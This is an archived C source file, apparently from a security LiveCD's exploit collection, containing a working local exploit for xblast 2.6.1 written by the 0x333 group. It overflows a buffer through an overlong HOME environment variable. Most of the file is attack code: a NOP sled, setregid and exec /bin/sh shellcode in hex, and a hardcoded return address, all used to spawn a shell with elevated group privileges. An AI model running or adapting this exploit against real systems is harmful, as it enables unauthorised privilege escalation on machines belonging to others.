home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xblast / 0x333xblast.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  84 lines

  1. /*  0x333xblast =>  xblast 2.6.1 local exploit
  2.  *
  3.  *    xblast could be overflowed by passing a long $HOME
  4.  *    env. For more info read advisory @ :
  5.  *
  6.  *    http://www.0x333.org/advisories/outsider-003.txt
  7.  *
  8.  *    * note * :
  9.  *    exploit tested against xblast-2.6.beta-1.i386.rpm
  10.  *    under Red Hat Linux 9.0. xblaste is not install
  11.  *    by default +s.
  12.  *
  13.  *    coded by c0wboy
  14.  *
  15.  *  (c) 0x333 Outsider Security Labs / www.0x333.org
  16.  *
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <unistd.h>
  22.  
  23.  
  24. #define BIN     "/usr/X11R6/bin/xblast"
  25. #define SIZE    1032
  26.  
  27. #define RET        0xbffffb38
  28. #define NOP        0x90
  29.  
  30.  
  31. unsigned char shellcode[] =
  32.  
  33.     /* setregid (20,20) shellcode */
  34.     "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
  35.     "\xcd\x80"
  36.  
  37.     /* exec /bin/sh shellcode */
  38.  
  39.     "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  40.     "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
  41.  
  42.  
  43. void banner (void);
  44. void memret (char *, int, int, int);
  45.  
  46.  
  47. void banner (void)
  48. {
  49.     fprintf (stdout, "\n\n ---       xblast local exploit by c0wboy      ---\n");
  50.     fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
  51.  
  52.     fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]\n\n");
  53. }
  54.  
  55.  
  56. void memret (char *buffer, int ret, int size, int align)
  57. {
  58.         int i;
  59.         int * ptr = (int *) (buffer + align);
  60.                                                                                 
  61.         for (i=0; i<size; i+=4)
  62.                 *ptr++ = ret;
  63.                                                                                 
  64.         ptr = 0x0;
  65. }
  66.  
  67.  
  68. int main ()
  69. {
  70.     int ret = RET;
  71.     char out[SIZE];
  72.  
  73.     memret ((char *)out, ret, SIZE-1, 0);
  74.  
  75.     memset ((char *)out, NOP, 333);
  76.     memcpy ((char *)out+333, shellcode, strlen(shellcode));
  77.  
  78.     setenv ("HOME", out, 1);
  79.  
  80.     banner ();
  81.     execl (BIN, BIN, 0x0);
  82. }
  83.  
  84.